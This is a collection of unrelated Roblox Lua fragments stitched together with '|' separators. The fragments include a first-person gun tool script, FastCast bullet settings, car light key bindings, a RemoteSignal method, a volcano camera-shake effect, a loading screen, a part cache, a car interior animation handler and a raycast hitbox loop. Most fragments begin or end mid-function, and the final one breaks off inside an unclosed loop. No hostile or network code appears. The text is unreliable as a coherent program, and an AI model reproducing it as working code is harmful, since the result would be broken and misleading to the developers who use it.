AnimBase.Name = "AnimBase"
AnimBase.CanCollide = false
AnimBase.FormFactor = Enum.FormFactor.Custom
AnimBase.Size = VEC3(0.2, 0.2, 0.2)
AnimBase.BottomSurface = Enum.SurfaceType.Smooth
AnimBase.TopSurface = Enum.SurfaceType.Smooth
AnimBase.Parent = PlayerFolder
AnimWeld = Instance.new("Weld")
AnimWeld.Part0 = AnimBase
AnimWeld.Part1 = Head
AnimWeld.C0 = CF(0, 1, 0)
AnimWeld.Parent = AnimBase
local ArmBase = Instance.new("Part")
ArmBase.Transparency = 1
ArmBase.Name = "ArmBase"
ArmBase.CanCollide = false
ArmBase.FormFactor = Enum.FormFactor.Custom
ArmBase.Size = VEC3(0.2, 0.2, 0.2)
ArmBase.BottomSurface = Enum.SurfaceType.Smooth
ArmBase.TopSurface = Enum.SurfaceType.Smooth
ArmBase.Parent = PlayerFolder
ABWeld = Instance.new("Weld")
ABWeld.Part0 = ArmBase
ABWeld.Part1 = AnimBase
ABWeld.Parent = ArmBase
local LArmBase = Instance.new("Part")
LArmBase.Transparency = 1
LArmBase.Name = "LArmBase"
LArmBase.CanCollide = false
LArmBase.FormFactor = Enum.FormFactor.Custom
LArmBase.Size = VEC3(0.2, 0.2, 0.2)
LArmBase.BottomSurface = Enum.SurfaceType.Smooth
LArmBase.TopSurface = Enum.SurfaceType.Smooth
LArmBase.Parent = PlayerFolder
local RArmBase = Instance.new("Part")
RArmBase.Transparency = 1
RArmBase.Name = "RArmBase"
RArmBase.CanCollide = false
RArmBase.FormFactor = Enum.FormFactor.Custom
RArmBase.Size = VEC3(0.2, 0.2, 0.2)
RArmBase.BottomSurface = Enum.SurfaceType.Smooth
RArmBase.TopSurface = Enum.SurfaceType.Smooth
RArmBase.Parent = PlayerFolder
LWeld = Instance.new("Weld")
LWeld.Name = "LWeld"
LWeld.Part0 = ArmBase
LWeld.Part1 = LArmBase
LWeld.C0 = ArmC0[1]
LWeld.C1 = S.ArmC1_UnAimed.Left
LWeld.Parent = ArmBase
RWeld = Instance.new("Weld")
RWeld.Name = "RWeld"
RWeld.Part0 = ArmBase
RWeld.Part1 = RArmBase
RWeld.C0 = ArmC0[2]
RWeld.C1 = S.ArmC1_UnAimed.Right
RWeld.Parent = ArmBase
LWeld2 = Instance.new("Weld")
LWeld2.Name = "LWeld"
LWeld2.Part0 = LArmBase
LWeld2.Part1 = LArm
LWeld2.Parent = LArmBase
RWeld2 = Instance.new("Weld")
RWeld2.Name = "RWeld"
RWeld2.Part0 = RArmBase
RWeld2.Part1 = RArm
RWeld2.Parent = RArmBase
if S.PlayerArms then
FakeLArm = LArm:Clone()
FakeLArm.Parent = PlayerFolder
FakeLArm.Transparency = S.FakeArmTransparency
FakeLArm:BreakJoints()
LArm.Transparency = 1
local FakeLWeld = Instance.new("Weld")
FakeLWeld.Part0 = FakeLArm
FakeLWeld.Part1 = LArm
FakeLWeld.Parent = FakeLArm
FakeRArm = RArm:Clone()
FakeRArm.Parent = PlayerFolder
FakeRArm.Transparency = S.FakeArmTransparency
FakeRArm:BreakJoints()
RArm.Transparency = 1
local FakeRWeld = Instance.new("Weld")
FakeRWeld.Part0 = FakeRArm
FakeRWeld.Part1 = RArm
FakeRWeld.Parent = FakeRArm
Instance.new("Humanoid", PlayerFolder)
for _,Obj in pairs(Character:GetChildren()) do
if Obj:IsA("CharacterMesh") or Obj:IsA("Shirt") then
Obj:Clone().Parent = PlayerFolder
end
end
else
local ArmTable = CreateArms()
ArmTable[1].Model.Parent = PlayerFolder
ArmTable[2].Model.Parent = PlayerFolder
FakeLArm = ArmTable[1].ArmPart
LArm.Transparency = 1
local FakeLWeld = Instance.new("Weld")
FakeLWeld.Part0 = FakeLArm
FakeLWeld.Part1 = LArm
FakeLWeld.Parent = FakeLArm
FakeRArm = ArmTable[2].ArmPart
RArm.Transparency = 1
local FakeRWeld = Instance.new("Weld")
FakeRWeld.Part0 = FakeRArm
FakeRWeld.Part1 = RArm
FakeRWeld.Parent = FakeRArm
end
--------------------[ MODIFYING THE GUN ]-------------------------------------
for _, Tab in pairs(Parts) do
local Weld = Instance.new("Weld")
Weld.Name = "MainWeld"
Weld.Part0 = Handle
Weld.Part1 = Tab.Obj
Weld.C0 = Tab.Obj.WeldCF.Value
Weld.Parent = Handle
Tab.Weld = Weld
end
Grip = RArm:WaitForChild("RightGrip")
local HandleCF = ArmBase.CFrame * ArmC0[2] * S.ArmC1_Aimed.Right:inverse() * CF(0, -1, 0, 1, 0, 0, 0, 0, 1, 0, -1, 0)
local HandleOffset = AimPart.CFrame:toObjectSpace(Handle.CFrame)
Aimed_GripCF = (Head.CFrame * HandleOffset):toObjectSpace(HandleCF)
--------------------[ CONNECTIONS ]-------------------------------------------
INSERT(Connections, Humanoid.Died:connect(function()
OnUnequipped(true)
end))
INSERT(Connections, M2.Button1Down:connect(function()
MB1_Down = true
if S.GunType.Auto and (not S.GunType.Semi) and (not S.GunType.Burst) then
if (not CanFire) then return end
CanFire = false
if (not Running) and (not Knifing) then
CurrentSpread = (
Aimed and S.Spread.Aimed or
((Idleing and (not Walking)) and S.Spread.Hipfire or S.Spread.Walking)
)
while MB1_Down and (not Reloading) do
if Knifing then break end
if Running then break end
if Ammo.Value > 0 then
Ammo.Value = Ammo.Value - 1
if Humanoid.Health ~= 0 then
if Aimed and Run_Key_Pressed and S.UnSteadyOnFire then
Run_Key_Pressed = false
CurrentSteadyTime = 0
end
Fire_Gun()
end
end
if Ammo.Value == 0 and S.AutoReload then
wait(0.2)
Reload()
end
wait(60 / S.FireRate)
end
end
CanFire = true
elseif (not S.GunType.Auto) and S.GunType.Burst then
if (not CanFire) then return end
CanFire = false
if (not Running) and (not Knifing) then
CurrentSpread = (
Aimed and S.Spread.Aimed or
((Idleing and (not Walking)) and S.Spread.Hipfire or S.Spread.Walking)
)
for i = 1, S.BurstAmount do
if Ammo.Value > 0 then
Ammo.Value = Ammo.Value - 1
if Humanoid.Health ~= 0 then
if Aimed and Run_Key_Pressed and S.UnSteadyOnFire then
Run_Key_Pressed = false
CurrentSteadyTime = 0
end
Fire_Gun()
end
end
if Ammo.Value == 0 and S.AutoReload then
wait(0.2)
Reload()
break
end
wait(S.BurstTime / S.BurstAmount)
end
end
wait(S.BurstWait)
CanFire = true
elseif (not S.GunType.Auto) and S.GunType.Semi then
if (not CanFire) then return end
CanFire = false
if (not Running) and (not Knifing) then
CurrentSpread = (
Aimed and S.Spread.Aimed or
((Idleing and (not Walking)) and S.Spread.Hipfire or S.Spread.Walking)
)
if Ammo.Value > 0 then
Ammo.Value = Ammo.Value - 1
if Humanoid.Health ~= 0 then
if Aimed and Run_Key_Pressed and S.UnSteadyOnFire then
Run_Key_Pressed = false
CurrentSteadyTime = 0
end
Fire_Gun()
end
end
if Ammo.Value == 0 and S.AutoReload then
wait(0.2)
Reload()
end
wait(60 / S.FireRate)
end
CanFire = true
elseif (not S.GunType.Auto) and (not S.GunType.Semi) and (not S.GunType.Burst) and S.GunType.Shot then
if (not CanFire) then return end
CanFire = false
if (not Running) and (not Knifing) then
CurrentSpread = (
Aimed and S.Spread.Aimed or
((Idleing and (not Walking)) and S.Spread.Hipfire or S.Spread.Walking)
)
if Ammo.Value > 0 then
Ammo.Value = Ammo.Value - 1
if Humanoid.Health ~= 0 then
if Aimed and Run_Key_Pressed and S.UnSteadyOnFire then
Run_Key_Pressed = false
CurrentSteadyTime = 0
end
Fire_Gun()
end
end
if Ammo.Value == 0 and S.AutoReload then
wait(0.2)
Reload()
end
wait(60 / S.FireRate)
end
CanFire = true
elseif (not S.GunType.Auto) and (not S.GunType.Semi) and S.GunType.Burst and (not S.GunType.Shot) then
if (not CanFire) then return end
CanFire = false
if (not Running) and (not Knifing) then
CurrentSpread = (
Aimed and S.Spread.Aimed or
((Idleing and (not Walking)) and S.Spread.Hipfire or S.Spread.Walking)
)
for i = 1, S.BurstAmount do
if Ammo.Value > 0 then
Ammo.Value = Ammo.Value - 1
if Humanoid.Health ~= 0 then
if Aimed and Run_Key_Pressed and S.UnSteadyOnFire then
Run_Key_Pressed = false
CurrentSteadyTime = 0
end
Fire_Gun()
end
end
if Ammo.Value == 0 and S.AutoReload then
wait(0.2)
Reload()
break
end
wait(S.BurstTime / S.BurstAmount)
end
end
wait(S.BurstWait)
CanFire = true
elseif (not S.GunType.Auto) and (not S.GunType.Burst) and (not S.GunType.Shot) and S.GunType.Explosive then
if (not CanFire) then return end
CanFire = false
if (not Running) and (not Knifing) then
CurrentSpread = (
Aimed and S.Spread.Aimed or
((Idleing and (not Walking)) and S.Spread.Hipfire or S.Spread.Walking)
)
if Ammo.Value > 0 then
Ammo.Value = Ammo.Value - 1
if Humanoid.Health ~= 0 then
if Aimed and Run_Key_Pressed and S.UnSteadyOnFire then
Run_Key_Pressed = false
CurrentSteadyTime = 0
end
Fire_Gun()
end
end
if Ammo.Value == 0 and S.AutoReload then
wait(0.2)
Reload()
end
wait(60 / S.FireRate)
end
CanFire = true
end
end))
INSERT(Connections, M2.Button1Up:connect(function()
MB1_Down = false
CurrentSpread = (
Aimed and S.Spread.Aimed or
((Idleing and (not Walking)) and S.Spread.Hipfire or S.Spread.Walking)
)
end))
INSERT(Connections, M2.Button2Down:connect(function()
if S.HoldMouseOrKeyToADS then
if (not AimingIn) and (not Aimed) then
AimingIn = true
AimGun()
AimingIn = false
end
else
if Aimed then
UnAimGun()
else
AimGun()
end
end
end))
INSERT(Connections, M2.Button2Up:connect(function()
if S.HoldMouseOrKeyToADS then
if (not AimingOut) and Aimed then
AimingOut = true
UnAimGun()
AimingOut = false
end
end
end))
INSERT(Connections, M2.KeyDown:connect(KeyDown))
INSERT(Connections, M2.KeyUp:connect(KeyUp))
INSERT(Connections, RS:connect(function()
local CrossHair = Gui_Clone:WaitForChild("CrossHair")
local HitMarker = Gui_Clone:WaitForChild("HitMarker")
local HUD = Gui_Clone:WaitForChild("HUD")
local AdBlock = Gui_Clone:WaitForChild("AdNeed")
AdBlock.Visible = true
AdBlock.Position = UDim2.new(0, 0, 0, 0)
AdBlock.Size = UDim2.new(1, 0, 0, 20)
AdBlock.TextStrokeTransparency = 0.9
AdBlock.TextTransparency = 0.8
AdBlock.Font = Enum.Font.SourceSansItalic
AdBlock.FontSize = Enum.FontSize.Size14
AdBlock.TextColor3 = Color3.new(255,255,255)
AdBlock.Text = ("~ NOISUFOBRUT & TEHYUM YB ~"):reverse()
CrossHair.Position = UDim2.new(0, M2.X, 0, M2.Y)
HitMarker.Position = UDim2.new(0, M2.X - 13, 0, M2.Y - 13)
local Clip_Ammo_L = HUD:WaitForChild("Ammo"):WaitForChild("Clip")
local Stored_Ammo_L = HUD:WaitForChild("Ammo"):WaitForChild("Stored")
Clip_Ammo_L.Text = Ammo.Value
Clip_Ammo_L.TextColor3 = (Ammo.Value <= (ClipSize.Value / 7) and Color3.new(1, 1, 1) or Color3.new(1, 1, 1))
Stored_Ammo_L.Text = StoredAmmo.Value
Stored_Ammo_L.TextColor3 = (StoredAmmo.Value <= (ClipSize.Value * 1) and Color3.new(1, 1, 1) or Color3.new(1, 1, 1))
local Mode = HUD:WaitForChild("Mode"):WaitForChild("Main")
if S.GunType.Auto
and (not S.GunType.Semi)
and (not S.GunType.Burst)
and (not S.GunType.Explosive) then
Mode.Text = "Auto"
elseif (not S.GunType.Auto)
and S.GunType.Burst
and (not S.GunType.Explosive) then
Mode.Text = "Burst"
elseif (not S.GunType.Auto)
and S.GunType.Semi
and (not S.GunType.Explosive) then
Mode.Text = "Semi"
elseif (not S.GunType.Auto)
and (not S.GunType.Semi)
and (not S.GunType.Burst)
and S.GunType.Shot
and (not S.GunType.Explosive) then
Mode.Text = "Shotgun"
elseif (not S.GunType.Auto)
and (not S.GunType.Semi)
and S.GunType.Burst
and (not S.GunType.Shot)
and (not S.GunType.Explosive) then
Mode.Text = "Burst"
elseif S.GunType.Explosive then
Mode.Text = "Explosive"
end
HUD.Health.Num.Text = CEIL(Humanoid.Health).."%"
HUD.Health.Num.TextColor3 = (
(Humanoid.Health > 200 / 3) and Color3.new(1, 1, 1) or
(Humanoid.Health <= 200 / 3 and Humanoid.Health > 100 / 3) and Color3.new(1, 1, 0) or
(Humanoid.Health <= 100 / 3) and Color3.new(1, 0, 0)
)
end))
INSERT(Connections, RS:connect(function()
local MDir = M2.UnitRay.Direction.unit
local HRPCF = HRP.CFrame * CF(0, 1.5, 0) * CF(Humanoid.CameraOffset)
Neck.C0 = Torso.CFrame:toObjectSpace(HRPCF)
if MDir.y == MDir.y then
HeadRot = -math.asin(MDir.y)
Neck.C1 = CFANG(HeadRot,0,0)
local RotTarget = VEC3(MDir.x,0,MDir.z)
local Rotation = CF(Torso.Position,Torso.Position + RotTarget)
BG.cframe = Rotation
local MouseX = FLOOR((M2.X - M2.ViewSizeX / 2) + 0.5)
local MouseY = FLOOR((M2.Y - M2.ViewSizeY / 2) + 0.5)
local AppliedMaxTorque = nil
if (Camera.CoordinateFrame.p - Head.Position).magnitude < 0.6 then
if (MouseX >= 50 or MouseX <= -50)
or (MouseY >= 50 or MouseY <= -50) then
AppliedMaxTorque = VEC3()
else
AppliedMaxTorque = VEC3(HUGE,HUGE,HUGE)
end
else
AppliedMaxTorque = VEC3(HUGE,HUGE,HUGE)
end
if (not S.RotateWhileSitting) and Humanoid.Sit then
AppliedMaxTorque = VEC3()
end
BG.maxTorque = AppliedMaxTorque
end
end))
INSERT(Connections, RS:connect(function()
local Forward = (Keys["w"] or Keys[string.char(17)])
local Backward = (Keys["s"] or Keys[string.char(18)])
local Right = (Keys["d"] or Keys[string.char(19)])
local Left = (Keys["a"] or Keys[string.char(20)])
local WalkingForward = (Forward and (not Backward))
local WalkingBackward = ((not Forward) and Backward)
local WalkingRight = (Right and (not Left))
local WalkingLeft = ((not Right) and Left)
ArmTilt = (
((WalkingForward or WalkingBackward) and WalkingRight) and 5 or
((WalkingForward or WalkingBackward) and WalkingLeft) and -5 or
((not (WalkingForward and WalkingBackward)) and WalkingRight) and 10 or
((not (WalkingForward and WalkingBackward)) and WalkingLeft) and -10 or 0
)
end))
INSERT(Connections, RS:connect(function()
if (not Idleing) and Walking then
if Running then
Humanoid.WalkSpeed = S.SprintSpeed
else
local SpeedRatio = (S.AimedWalkSpeed / S.BaseWalkSpeed)
if Stance == 0 then
Humanoid.WalkSpeed = (Aimed and S.AimedWalkSpeed or S.BaseWalkSpeed)
elseif Stance == 1 then
Humanoid.WalkSpeed = (Aimed and S.CrouchWalkSpeed * SpeedRatio or S.CrouchWalkSpeed)
elseif Stance == 2 then
Humanoid.WalkSpeed = (Aimed and S.ProneWalkSpeed * SpeedRatio or S.ProneWalkSpeed)
end
end
else
Humanoid.WalkSpeed = 16
end
StanceSway = 1 - (0.25 * Stance)
end))
--------------------[ ANIMATE GUN ]-------------------------------------------
Animate()
end
end
function OnUnequipped(DeleteTool)
if Selected then
Selected = false
BreakReload = true
--------------------[ MODIFYING THE PLAYER ]----------------------------------
Camera.FieldOfView = 90
game:GetService("UserInputService").MouseIconEnabled = true
Gui_Clone:Destroy()
BG:Destroy()
RArm.Transparency = 0
LArm.Transparency = 0
Shoulders.Right.Part1 = RArm
Shoulders.Left.Part1 = LArm
Neck.C0 = PrevNeckCF.C0
Neck.C1 = PrevNeckCF.C1
Humanoid.WalkSpeed = 16
--------------------[ RESETING THE TOOL ]-------------------------------------
Gun_Ignore:Destroy()
Aimed = false
for _, Tab in pairs(Parts) do
Tab.Weld:Destroy()
Tab.Weld = nil
end
for _,c in pairs(Connections) do
c:disconnect()
end
Connections = {}
if DeleteTool then
Camera:ClearAllChildren()
Gun:Destroy()
end
if S.StandOnDeselect and Stance ~= 0 then Stand(true) end
end
end
Gun.Equipped:connect(OnEquipped)
Gun.Unequipped:connect(function() OnUnequipped(false) end)
|
-- Constants |
local DEBUG = false -- Whether or not to use debugging features of FastCast, such as cast visualization.
local BULLET_SPEED = 100 -- Studs/second - the speed of the bullet
local BULLET_MAXDIST = 1000 -- The furthest distance the bullet can travel
local BULLET_GRAVITY = Vector3.new(0, -workspace.Gravity, 0) -- The amount of gravity applied to the bullet in world space (so yes, you can have sideways gravity)
local MIN_BULLET_SPREAD_ANGLE = 1 -- THIS VALUE IS VERY SENSITIVE. Try to keep changes to it small. The least accurate the bullet can be. This angle value is in degrees. A value of 0 means straight forward. Generally you want to keep this at 0 so there's at least some chance of a 100% accurate shot.
local MAX_BULLET_SPREAD_ANGLE = 4 -- THIS VALUE IS VERY SENSITIVE. Try to keep changes to it small. The most accurate the bullet can be. This angle value is in degrees. A value of 0 means straight forward. This cannot be less than the value above. A value of 90 will allow the gun to shoot sideways at most, and a value of 180 will allow the gun to shoot backwards at most. Exceeding 180 will not add any more angular varience.
local FIRE_DELAY = 0.05 -- The amount of time that must pass after firing the gun before we can fire again.
local BULLETS_PER_SHOT = 1 -- The amount of bullets to fire every shot. Make this greater than 1 for a shotgun effect.
local PIERCE_DEMO = true -- True if the pierce demo should be used. See the CanRayPierce function for more info. |
-- KEY SETTINGS |
local Headlights = Enum.KeyCode.L
local RunningLights = Enum.KeyCode.N
local FogLights = Enum.KeyCode.J
local SignalLeft = Enum.KeyCode.Z
local SignalRight = Enum.KeyCode.C
local Hazards = Enum.KeyCode.X
local Popups = Enum.KeyCode.B
local Flash = Enum.KeyCode.L
|
-- If this script is added to an already-running game, this will set up the GUI for the players already in-game: |
for _,p in pairs(game.Players:GetPlayers()) do
repeat wait() until (p:findFirstChild("PlayerGui"))
if (p.Character) then
gui:clone().Parent = p.PlayerGui
end
characterHandling(p)
end
game.Players.PlayerAdded:connect(function(p)
characterHandling(p)
end)
|
-- Variable Viaduct |
local ModelPad = script.Parent.Parent
local PhysPad = ModelPad.PhysPad
local Configs = ModelPad.Configs
local JumpHeight = Configs.JumpHeight |
--[=[
@param fn (player: Player, ...: any) -> nil -- The function to connect
@return Connection
Connect a function to the signal. Anytime a matching ClientRemoteSignal
on a client fires, the connected function will be invoked with the
arguments passed by the client.
]=] |
function RemoteSignal:Connect(fn)
if self._directConnect then
return self._re.OnServerEvent:Connect(fn)
else
return self._signal:Connect(fn)
end
end
function RemoteSignal:_processOutboundMiddleware(player: Player?, ...: any)
if not self._hasOutbound then
return ...
end
local args = table.pack(...)
for _,middlewareFunc in ipairs(self._outbound) do
local middlewareResult = table.pack(middlewareFunc(player, args))
if not middlewareResult[1] then
return table.unpack(middlewareResult, 2, middlewareResult.n)
end
args.n = #args
end
return table.unpack(args, 1, args.n)
end
|
--module is tagged "EffectModule"
--client gets all modules with this tag and calls initialize() |
local CameraShaker = require(game.ReplicatedStorage.Modules.CameraShaker)
local camera = game.Workspace.CurrentCamera
local module = {}
local camShake = CameraShaker.new(Enum.RenderPriority.Camera.Value, function(shakeCFrame)
camera.CFrame = camera.CFrame * shakeCFrame
end)
camShake:Start()
local minimumDistance = 300
function module.Initialize()
while script.Parent and script.Parent ~= nil do
wait(math.random(60,120))
local distance = (camera.CFrame.Position - script.Parent.Position).Magnitude
if distance <= minimumDistance then
camShake:Shake(CameraShaker.Presets.Earthquake)
end
script.Parent.Erupt:Play()
script.Parent.ParticleEmitter.Enabled = true
wait(8)
script.Parent.ParticleEmitter.Enabled = false
end
end
return module
|
--PlayerGui:SetTopbarTransparency(0) |
local screen = Instance.new("ScreenGui")
screen.Parent = PlayerGui
local textLabel = Instance.new("TextLabel")
textLabel.Text = "Loading"
textLabel.BackgroundTransparency = 1
textLabel.Position = UDim2.new(0.5,0,.5,0)
textLabel.TextStrokeColor3 = Color3.new(0,0,0)
textLabel.TextStrokeTransparency = 0
textLabel.TextColor3 = Color3.new(1,1,1)
textLabel.AnchorPoint = Vector2.new(.5,.5)
textLabel.Size = UDim2.new(.6,0,.5,0)
textLabel.Font = Enum.Font.ArialBold
textLabel.TextScaled = true
textLabel.Parent = screen
script.Parent:RemoveDefaultLoadingScreen()
local count = 0
local start = tick()
while tick() - start < 6 do
textLabel.Text = "Loading " .. string.rep(".",count)
count = (count + 1) % 4
wait(.3)
end
screen.Parent = nil
|
--Dupes a part from the template. |
local function MakeFromTemplate(template: BasePart, currentCacheParent: Instance): BasePart
local part: BasePart = template:Clone()
-- ^ Ignore W000 type mismatch between Instance and BasePart. False alert.
part.CFrame = CF_REALLY_FAR_AWAY
part.Anchored = true
part.Parent = currentCacheParent
return part
end
function PartCacheStatic.new(template: BasePart, numPrecreatedParts: number?, currentCacheParent: Instance?): PartCache
local newNumPrecreatedParts: number = numPrecreatedParts or 5
local newCurrentCacheParent: Instance = currentCacheParent or workspace
--PrecreatedParts value.
--Same thing. Ensure it's a number, ensure it's not negative, warn if it's really huge or 0.
assert(numPrecreatedParts > 0, "PrecreatedParts can not be negative!")
assertwarn(numPrecreatedParts ~= 0, "PrecreatedParts is 0! This may have adverse effects when initially using the cache.")
assertwarn(template.Archivable, "The template's Archivable property has been set to false, which prevents it from being cloned. It will temporarily be set to true.")
local oldArchivable = template.Archivable
template.Archivable = true
local newTemplate: BasePart = template:Clone()
-- ^ Ignore W000 type mismatch between Instance and BasePart. False alert.
template.Archivable = oldArchivable
template = newTemplate
local object: PartCache = {
Open = {},
InUse = {},
CurrentCacheParent = newCurrentCacheParent,
Template = template,
ExpansionSize = 10
}
setmetatable(object, PartCacheStatic)
-- Below: Ignore type mismatch nil | number and the nil | Instance mismatch on the table.insert line.
for _ = 1, newNumPrecreatedParts do
table.insert(object.Open, MakeFromTemplate(template, object.CurrentCacheParent))
end
object.Template.Parent = nil
return object
-- ^ Ignore mismatch here too
end
|
-------------------------------------------------------------------------------- |
local Car = script.Parent.Car.Value
local Values = script.Parent.Values
local _Tune = require(Car["A-Chassis Tune"])
local Handler = Car:WaitForChild("INTERIOR_PACK")
local FE = workspace.FilteringEnabled
local INT_PCK = nil
for _,Child in pairs(Car.Misc:GetDescendants()) do
if Child:IsA("ObjectValue") and Child.Name == "INTERIOR_PACK" then INT_PCK = Child.Value end
end
if INT_PCK == nil then script:Destroy() end
local HB = INT_PCK:FindFirstChild("Handbrake")
local PS = INT_PCK:FindFirstChild("Paddle_Shifter")
local PD = INT_PCK:FindFirstChild("Pedals")
local SH = INT_PCK:FindFirstChild("Shifter")
local SW = INT_PCK:FindFirstChild("Steering_Wheel")
local Val = 0
local SEQ = 1
if SEQ_INVERTED then SEQ = -1 end
local PED = 1
if PED_INVERTED then PED = -1 end
local Gear = Values.Gear.Changed:Connect(function()
local Gear = Values.Gear.Value
local Shift = "Down"
if Gear > Val then Shift = "Up" end
Val = Gear
if FE then
Handler:FireServer("Gear",Gear,Shift,PADDLE_SHIFTER,PEDALS,SHIFTER,PS,PD,SH,PADDLE_ANG,PADDLE_INVERTED,SHIFTER_TYPE,SEQ,SHIFT_TIME,VERTICAL_ANG,HORIZONTAL_ANG)
else
if PEDALS and PD ~= nil then
PD.C.Motor.DesiredAngle = math.rad(PEDAL_ANGLE)*PED
end
if PADDLE_SHIFTER and PS ~= nil then
if Shift == "Up" then
if PADDLE_INVERTED then
PS.L.Motor.DesiredAngle = math.rad(PADDLE_ANG)
else
PS.R.Motor.DesiredAngle = math.rad(PADDLE_ANG)
end
else
if PADDLE_INVERTED then
PS.R.Motor.DesiredAngle = math.rad(PADDLE_ANG)
else
PS.L.Motor.DesiredAngle = math.rad(PADDLE_ANG)
end
end
wait(SHIFT_TIME/2)
PS.R.Motor.DesiredAngle = 0
PS.L.Motor.DesiredAngle = 0
end
if SHIFTER and SH ~= nil then
local MOT1 = SH.W1.Motor
local MOT2 = SH.W2.Motor
MOT2.DesiredAngle = 0
wait(SHIFT_TIME/2)
if SHIFTER_TYPE == "Seq" then
if Shift == "Up" then
MOT2.DesiredAngle = math.rad(VERTICAL_ANG)*SEQ
wait(SHIFT_TIME/2)
MOT2.DesiredAngle = 0
else
MOT2.DesiredAngle = -math.rad(VERTICAL_ANG)*SEQ
wait(SHIFT_TIME/2)
MOT2.DesiredAngle = 0
end
else
if Gear == -1 then
MOT1.DesiredAngle = math.floor((#_Tune["Ratios"]-1)/4)*2*math.rad(HORIZONTAL_ANG)
wait(SHIFT_TIME/2)
if #_Tune["Ratios"] % 2 == 0 then MOT2.DesiredAngle = math.rad(VERTICAL_ANG)
else MOT2.DesiredAngle = -math.rad(VERTICAL_ANG) end
elseif Gear == 0 then
MOT1.DesiredAngle = 0
elseif Gear > 0 then
if Shift == "Up" then
if Val == 0 then
MOT1.DesiredAngle = -math.floor((#_Tune["Ratios"]-1)/4)*math.rad(HORIZONTAL_ANG)
wait(SHIFT_TIME/2)
MOT2.DesiredAngle = math.rad(VERTICAL_ANG)
elseif Gear % 2 == 0 then
MOT2.DesiredAngle = -math.rad(VERTICAL_ANG)
else
MOT1.DesiredAngle = MOT1.DesiredAngle + math.rad(HORIZONTAL_ANG)
wait(SHIFT_TIME/2)
MOT2.DesiredAngle = math.rad(VERTICAL_ANG)
end
else
if Gear % 2 == 0 then
MOT1.DesiredAngle = MOT1.DesiredAngle - math.rad(HORIZONTAL_ANG)
wait(SHIFT_TIME/2)
MOT2.DesiredAngle = -math.rad(VERTICAL_ANG)
else
MOT2.DesiredAngle = math.rad(VERTICAL_ANG)
end
end
end
end
end
if PEDALS and PD ~= nil then
PD.C.Motor.DesiredAngle = 0
end
end
end)
local Throttle = Values.Throttle.Changed:Connect(function()
local Throttle = Values.Throttle.Value
if FE then
Handler:FireServer("Throttle",Throttle,PEDALS,PD,PEDAL_ANGLE,PED)
else
if PEDALS and PD ~= nil then
PD.T.Motor.DesiredAngle = math.rad(PEDAL_ANGLE*Throttle)*PED
end
end
end)
local Brake = Values.Brake.Changed:Connect(function()
local Brake = Values.Brake.Value
if FE then
Handler:FireServer("Brake",Brake,PEDALS,PD,PEDAL_ANGLE,PED)
else
if PEDALS and PD ~= nil then
PD.B.Motor.DesiredAngle = math.rad(PEDAL_ANGLE*Brake)*PED
end
end
end)
local PBrake = Values.PBrake.Changed:Connect(function()
local PBrake = Values.PBrake.Value
if FE then
Handler:FireServer("PBrake",PBrake,HANDBRAKE,HB,HANDBRAKE_ANG)
else
if HANDBRAKE and HB ~= nil then
if PBrake then
HB.W.Motor.DesiredAngle = math.rad(HANDBRAKE_ANG)
else
HB.W.Motor.DesiredAngle = 0
end
end
end
end)
game["Run Service"].Stepped:connect(function()
local direction = Car.Wheels.FR.Base.CFrame:vectorToObjectSpace(Car.Wheels.FR.Arm.CFrame.lookVector)
local direction2 = Car.Wheels.FL.Base.CFrame:vectorToObjectSpace(Car.Wheels.FL.Arm.CFrame.lookVector)
local angle = ((math.atan2(-direction.Z, direction.X))+(math.atan2(-direction2.Z, direction2.X)))/2
local Steer = -(angle-1.57)*STEER_MULT
if STEERING_WHEEL and SW ~= nil then
SW.W.Motor.DesiredAngle = Steer
end
end)
|
--- Runs for the very first time whenever a hitbox is created
--- Do not run this more than once, you may introduce memory leaks if you do so |
function Hitbox:_Init()
if not self.HitboxObject then return end
local tagConnection: RBXScriptConnection
local function onTagRemoved(instance: Instance)
if instance == self.HitboxObject then
tagConnection:Disconnect()
self:Destroy()
end
end
self:Recalibrate()
table.insert(ActiveHitboxes, self)
CollectionService:AddTag(self.HitboxObject, self.Tag)
tagConnection = CollectionService:GetInstanceRemovedSignal(self.Tag):Connect(onTagRemoved)
end
local function Init()
--- Reserve table sizing for solver tables
local solversCache: {[number]: any} = table.create(#Solvers:GetChildren())
DEFAULT_SIMULATION_TYPE:Connect(function(step: number)
--- Iterate through all the hitboxes
for i = #ActiveHitboxes, 1, -1 do
--- Skip this hitbox if the hitbox will be garbage collected this frame
if ActiveHitboxes[i].HitboxPendingRemoval then
local hitbox: any = table.remove(ActiveHitboxes, i)
table.clear(hitbox)
setmetatable(hitbox, nil)
continue
end
for _: number, point: Point in ipairs(ActiveHitboxes[i].HitboxRaycastPoints) do
--- Reset this point if the hitbox is inactive
if not ActiveHitboxes[i].HitboxActive then
point.LastPosition = nil
continue
end
--- Calculate rays
local castMode: any = solversCache[point.CastMode]
local origin: Vector3, direction: Vector3 = castMode:Solve(point)
local raycastResult: RaycastResult = workspace:Raycast(origin, direction, ActiveHitboxes[i].RaycastParams)
--- Draw debug rays
if ActiveHitboxes[i].Visualizer then
local adornmentData: AdornmentData? = VisualizerCache:GetAdornment()
if adornmentData then
local debugStartPosition: CFrame = castMode:Visualize(point)
adornmentData.Adornment.Length = direction.Magnitude
adornmentData.Adornment.CFrame = debugStartPosition
end
end
--- Update the current point's position
point.LastPosition = castMode:UpdateToNextPosition(point)
--- If a ray detected a hit
if raycastResult then
local part: BasePart = raycastResult.Instance
local model: Instance?
local humanoid: Instance?
local target: Instance?
if ActiveHitboxes[i].DetectionMode == 1 then
model = part:FindFirstAncestorOfClass("Model")
if model then
humanoid = model:FindFirstChildOfClass("Humanoid")
end
target = humanoid
else
target = part
end
--- Found a target. Fire the OnHit event
if target then
if ActiveHitboxes[i].DetectionMode <= 2 then
if ActiveHitboxes[i].HitboxHitList[target] then
continue
else
ActiveHitboxes[i].HitboxHitList[target] = true
end
end
ActiveHitboxes[i].OnHit:Fire(part, humanoid, raycastResult, point.Group)
end
end
--- Hitbox Time scheduler
if ActiveHitboxes[i].HitboxStopTime > 0 then
if ActiveHitboxes[i].HitboxStopTime <= os.clock() then
ActiveHitboxes[i]:HitStop()
end
end
--- OnUpdate event that fires every frame for every point
ActiveHitboxes[i].OnUpdate:Fire(point.LastPosition)
--- Update SignalType
if ActiveHitboxes[i].OnUpdate._signalType ~= ActiveHitboxes[i].SignalType then
ActiveHitboxes[i].OnUpdate._signalType = ActiveHitboxes[i].SignalType
ActiveHitboxes[i].OnHit._signalType = ActiveHitboxes[i].SignalType
end
end
end
local adornmentsInUse: number = #VisualizerCache._AdornmentInUse
